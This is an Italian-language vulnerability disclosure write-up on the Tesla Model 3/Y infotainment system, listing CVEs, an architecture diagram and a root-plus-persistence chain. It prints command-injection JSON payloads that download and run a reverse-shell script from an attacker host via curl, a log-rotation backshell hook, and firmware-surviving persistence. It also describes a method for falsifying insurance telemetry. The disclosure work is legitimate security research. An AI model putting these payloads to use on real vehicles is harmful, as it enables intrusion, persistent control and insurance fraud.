Ricerca sulla Sicurezza di Tesla

Ricerca sulle vulnerabilità del sistema infotainment Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), divulgata responsabilmente a Tesla tramite Bugcrowd.

Ottenuto accesso root persistente su una Tesla Model 3 di produzione tramite una vulnerabilità di command injection nell'interfaccia diagnostica ODIN di Tesla (CVE-2022-42008). Da lì, scoperte altre cinque vulnerabilità — incluso un metodo di persistenza che sopravvive agli aggiornamenti del firmware (CVE-2022-42005, CVE-2022-42006) e un metodo per falsificare la telemetria assicurativa Safety Score che ha ridotto direttamente i premi mensili da $130 a $83.

Sei vulnerabilità in ODIN, hermes e Safety Score. Quattro CVE. Ricompensati tramite Bugcrowd e iscritti al programma SSH Security Researcher di Tesla.

Riepilogo delle Vulnerabilità

Risultato	CVE	Impatto	Stato	Ricompensa
Root Shell tramite ODIN	CVE-2022-42008	Root shell tramite command injection	Risolta (2021.32.10)	Ricompensa Bugcrowd
Token ODIN Scaduti	CVE-2022-42007	Replay di token tramite NTP spoofing	Risolta (2021.32.10)	Ricompensa Bugcrowd
Caricamento su Mothership	—	Caricamento arbitrario di file sui server Tesla	Segnato N/A	—
Backshell Log + Accesso DV	CVE-2022-42005, CVE-2022-42006	Accesso persistente che sopravvive agli aggiornamenti firmware	Risolta	Ricompensa Bugcrowd
Falsificazione Telemetria Assicurativa	—	Safety Score falsificato riduce i premi assicurativi	Nessuna correzione confermata	—
ODIN Unfuse	—	Qualsiasi task ODIN senza autenticazione	Nessuna correzione confermata	—

Architettura

Il sistema infotainment Tesla Model 3/Y (Intel Atom MCU) esegue un sistema operativo basato su Linux con diverse superfici di attacco identificate durante questa ricerca:

┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

Ottenere Root + Persistenza

Report completi: Root Shell tramite ODIN | Backshell Log + Accesso DV

L'interfaccia diagnostica ODIN espone un task chiamato TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK che accetta un parametro MicTest-Input — una lista di stringhe passate direttamente a CID_EXEC per l'esecuzione come root. Qualsiasi sottoscrittore con il livello di accesso Toolbox più basso (tbx-external) può attivare questo task connettendosi alla porta diagnostica dell'auto e inviando una richiesta POST. Le stringhe di input vengono eseguite testualmente, quindi l'attacco è composto da due richieste: prima, scaricare un reverse shell script sull'auto tramite curl:

{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Poi eseguirlo:

{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Una volta stabilito un root shell, l'accesso persistente si ottiene dirottando la configurazione della rotazione dei log di svlogd. Il comando standard di compressione gzip viene sostituito con uno script che apre una backshell sotto l'account log ogni volta che i log ruotano:

!sh /var/log/wpa_supplicant/gzip.sh -c

Il file di configurazione viene reso immutabile con chattr +i, assicurando che sopravviva agli aggiornamenti del firmware. Mentre l'account log non può utilizzare il comando standard sdv per impostare i valori dei dati (dbus lo rifiuta), il prototype_server dormiente di Tesla fornisce accesso websocket illimitato a tutti i valori dei dati quando attivato tramite settings.conf. Un set personalizzato di script shell (sdv, lv, send.sh) emula un client websocket per interagire con questo server.

Il toolkit di persistenza completo è controllato tramite la casella di input Access Code dell'auto (visibile tenendo premuto il modello dell'auto sul touchscreen), che è monitorata da uno script listener che dispensa comandi — inclusi l'apertura di backshell, l'impostazione di valori dati e l'attivazione/disattivazione delle modalità di servizio.

Risultati Indipendenti

Token ODIN Scaduti + NTP Spoofing (CVE-2022-42007)